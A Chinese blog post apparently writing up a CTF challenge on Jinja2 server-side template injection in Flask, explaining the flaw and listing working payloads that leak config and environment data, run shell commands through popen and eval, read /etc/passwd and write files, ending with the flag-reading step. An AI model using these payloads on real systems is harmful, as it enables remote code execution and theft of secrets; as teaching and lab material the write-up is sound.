攻防世界_Web_python_template_injection

Web_python_template_injection

服务器端模板注入SSTI

SSTI

​ SSTI(Server Side Template Injection,服务器端模板注入),而模板指的就是Web开发中所使用的模板引擎。模板引擎可以将用户界面和业务数据分离,逻辑代码和业务代码也可以因此分离,代码复用变得简单,开发效率也随之提高。
​ 服务器端使用模板,通过模板引擎对数据进行渲染,再传递给用户,就可以针对特定用户/特定参数生成相应的页面。我们可以类比百度搜索,搜索不同词条得到的结果页面是不同的,但页面的框架是基本不变的。

Flask中的Jinja2

在Python中,该漏洞常见于Flask(一个轻量级Web应用框架)模块中,Flask使用Jinja2作为模板引擎,Jinja2支持以下语法进行数据渲染:

#{{}}:将花括号内的内容作为表达式执行并返回对应结果
{{3*4}}       # 会被解析为12
{% set s = 'Tuzk1' %}     # 使用set声明变量
{% if var is true %}Tuzk1{%endif%}   # 条件语句
{% for i in range(3) %}Tuzk1{%endfor%} # 循环语句
{##}:注释

漏洞成因

当用户输入被直接拼接到模板中(而非安全渲染),攻击者可插入模板语法(如{{...}}<%=...%>),导致服务器执行恶意代码。

漏洞原理

由于对用户输入过滤不严,攻击者可以通过构造恶意数据,使服务器模板引擎渲染这部分数据,从而达到读取文件、RCE等目的。

出现特征

使用{{10-1}}作为参数id传入,可以看到表达式被成功执行,这就是SSTI漏洞出现的特征。

漏洞利用

  • 随便找个倒霉的内置类:[]、""
  • 通过这个类获取到object类:basebasesmro
  • 通过object类获取所有子类:subclasses()
  • 在子类列表中找到可以利用的类
  • 直接调用类下面函数或使用该类空间下可用的其他模块的函数

魔术方法

魔术方法 作用
init 对象的初始化方法
class 返回对象所属的类
module 返回类所在的模块
mro 返回类的调用顺序,可以此找到其父类(用于找父类
base 获取类的直接父类(用于找父类
bases 获取父类的元组,按它们出现的先后排序(用于找父类
dict 返回当前类的函数、属性、全局变量等
subclasses 返回所有仍处于活动状态的引用的列表,列表按定义顺序排列(用于找子类
globals 获取函数所属空间下可使用的模块、方法及变量(用于访问全局变量
import 用于导入模块,经常用于导入os模块
builtins 返回Python中的内置函数,如eval

寻找可以利用类

#获取对象所属的类
''.__class__
<class 'str'>
().__class__
<class 'tuple'>
[].__class__
<class 'list'>
 "".__class__
<class 'str'>

# 获取父类
>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

# 获取子类
''.__class__.__base__.__subclasses__()
''.__class__.__bases__[0].__subclasses__()
''.__class__.__mro__[-1].__subclasses__()

''.__class__ 是一个 Python 表达式,用于获取空字符串('')的类。在 Python 中,所有的数据都是对象,每个对象都有一个类。通过 .__class__ 属性,我们可以查看对象的类。
对于空字符串 '',它的类是 str,表示它是一个字符串对象。所以,''.__class__ 的结果是 <class 'str'>。

__mro__ 是 Python 中的一个特殊属性,用于获取一个类的方法解析顺序(Method Resolution Order)。它返回一个包含该类及其所有基类的元组,按照方法查找的顺序排列。

在 Python 中,当调用一个对象的方法时,Python 会首先在该对象的类中查找该方法,如果找不到,则会依次在其基类中查找,直到找到为止。__mro__ 属性就是用来表示这种查找顺序的。

构造payload

于是构造payload,可以获取配置文件、XSS、进行RCE(反弹shell也行)或者文件读写:

# 获取配置信息
{{config}}		# 能获取到config,它包含了如数据库链接字符串、连接到第三方的凭证、SECRET_KEY等敏感信息
{{request.environ}}	# 服务器环境信息

# XSS(本文主要讲SSTI的RCE姿势,XSS过滤不展开讲)
name=<script>alert(/YouAreHacked/)</script>

# 利用warnings.catch_warnings配合__builtins__得到eval函数,直接梭哈(常用)
{{[].__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()}}

# 利用os._wrap_close类所属空间下可用的popen函数进行RCE的payload
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

# 利用subprocess.Popen类进行RCE的payload
{{''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

# 利用__import__导入os模块进行利用
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

# 利用linecache类所属空间下可用的os模块进行RCE的payload,假设linecache为第250个子类
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
{{[].__class__.__base__.__subclasses__()[250].__init__.func_globals['linecache'].__dict__.['os'].popen('whoami').read()}}

# 利用file类(python3将file类删除了,因此只有python2可用)进行文件读
{{[].__class__.__base__.__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__base__.__subclasses__()[40]('etc/passwd').readlines()}}
# 利用file类进行文件写(python2的str类型不直接从属于属于基类,所以要两次 .__bases__)
{{"".__class__.__bases[0]__.__bases__[0].__subclasses__()[40]('/tmp').write('test')}}

# 通用getshell,都是通过__builtins__调用eval进行代码执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
# 读写文件,通过__builtins__调用open进行文件读写
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

python os.system()和os.popen()

python调用Shell脚本,有两种方法:os.system()和os.popen(),前者返回值是脚本的退出状态码,后者的返回值是脚本执行过程中的输出内容。

os位于site._Printer中

从零学习flask模板注入

wp

判断是否存在python模板注入

{{7+6}}  #回显出13
#{{5/2}}可以判断python2还是3  python2输出2 python3输出2.5

找到当前变量所在的类

{{''.__class__}}

寻找基类

{{''.__class__.__mro__}}

image-20250615192636260

通过基类寻找其中任意一个基类的引用列表

{{''.__class__.__mro__[2].__subclasses__()}}

在回复的列表中查找os所在的site_Printer类,在列表第72位,即为__subclasses__()[71]

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
#__init__:类的初始化方法(构造函数)
#__globals__:函数的全局变量字典(globals()),存储该函数所在模块的所有全局变量(包括导入的模块)。
#['os']:从全局变量字典中获取 os 模块。通过 __globals__ 可以间接访问 os
#➔ 获取某个类的 __init__ 方法所在模块的全局变量中的 os 模块。

image-20250615193214017

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4f').read()}}
posted @ 2025-06-15 19:50  funji  阅读(307)  评论(0)    收藏  举报